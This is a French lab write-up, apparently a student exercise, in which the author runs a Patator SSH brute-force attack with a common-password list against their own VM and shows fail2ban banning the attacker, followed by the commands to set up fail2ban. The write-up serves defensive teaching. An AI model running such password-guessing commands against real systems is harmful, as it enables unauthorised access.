Attaque brute force avec patator

J'ai effectué des attaques de brutes forces à l'aide de Patator, en utiliser plusieurs mot de passe :

```
aasci@ubuntu:~$ patator ssh_login host=192.168.5.128 user=aasci password=FILE0 0=/home/aasci/Desktop/mdp.txt
00:02:17 patator    INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2023-12-11 00:02 PST
00:02:17 patator    INFO -
00:02:17 patator    INFO - code  size    time | candidate                          |   num | mesg
00:02:17 patator    INFO - -----------------------------------------------------------------------------
00:02:18 patator    INFO - 0     39     0.064 | 123456                             |     1 | SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.9
00:02:21 patator    INFO - 1     22     3.099 | 12345                              |     2 | Authentication failed.
00:02:21 patator    INFO - 1     22     3.095 | 123456789                          |     3 | Authentication failed.
00:02:21 patator    INFO - 1     22     3.094 | password                           |     4 | Authentication failed.
00:02:21 patator    INFO - 1     22     3.097 | iloveyou                           |     5 | Authentication failed.
00:02:21 patator    INFO - 1     22     3.099 | princess                           |     6 | Authentication failed.
00:02:21 patator    INFO - 1     22     3.093 | 1234567                            |     7 | Authentication failed.
00:02:21 patator    INFO - 1     22     3.093 | 12345678                           |     8 | Authentication failed.
00:02:21 patator    INFO - 1     22     3.089 | abc123                             |     9 | Authentication failed.
00:02:21 patator    INFO - 1     22     3.095 | nicole                             |    10 | Authentication failed.
00:02:21 patator    INFO - 1     22     3.092 | daniel                             |    11 | Authentication failed.
00:02:51 patator    INFO - 1     23    30.014 | babygirl                           |    12 | Authentication timeout.
00:02:51 patator    INFO - 1     23    30.013 | monkey                             |    13 | Authentication timeout.
00:02:51 patator    INFO - 1     23    30.016 | lovely                             |    14 | Authentication timeout.
00:02:51 patator    INFO - 1     23    30.013 | jessica                            |    15 | Authentication timeout.
00:02:51 patator    INFO - 1     23    30.013 | 654321                             |    16 | Authentication timeout.
00:02:51 patator    INFO - 1     23    30.015 | michael                            |    17 | Authentication timeout.
00:02:51 patator    INFO - 1     23    30.014 | ashley                             |    18 | Authentication timeout.
00:02:51 patator    INFO - 1     23    30.015 | qwerty                             |    19 | Authentication timeout.
00:02:51 patator    INFO - 1     23    30.017 | 111111                             |    20 | Authentication timeout.
00:02:51 patator    INFO - 1     23    30.016 | iloveu                             |    21 | Authentication timeout.
```

Les mots de passe ont échoué car l'adresse IP que j'ai essayé d'attaquer était celle de la machine dans laquelle j'ai installé fail2ban.

<u>À l'aide de la commande suivante j'ai pu réaliser mon attaque :</u>

- patator ssh_login host=192.168.5.128 user=aasci password=FILE0 0=/home/aasci/Desktop/mdp.txt

Mdp.txt est un fichier qui contenait plusieurs types de mot de passe afin d'essayer de casser le mot de passe de la machine qui dispose de la protection fail2ban.
Voici la preuve qui montre que fail2ban a bien banni la machine avec laquelle je l'ai attaqué. On peut voir son IP dans la liste des IP bannies.

Défense contre les attaques brute force avec Fail2Ban

Comment protéger sa machine virtuelle des brutes ? Fail2ban est là pour vous protéger des attaques.

L'installation de Fail2ban et d'un serveur sshd avec ces commandes suivantes :

- sudo apt install fail2ban.

Ensuite on lance fail2ban avec ses commandes :

- systemctl start fail2ban
- systemctl enable fail2ban

Pour finir on vérifie l'état active de fail2ban :

- systemctl status fail2ban Installation du serveur sshd :
- sudo apt-get install openssh-server

On peut voir que fail2ban est bien actif dont avec un exemple d'IP banni, de plus on peut aussi voir que le serveur sshd est actif de même dans le cas contraire on aurait pas pu bannir d'IP :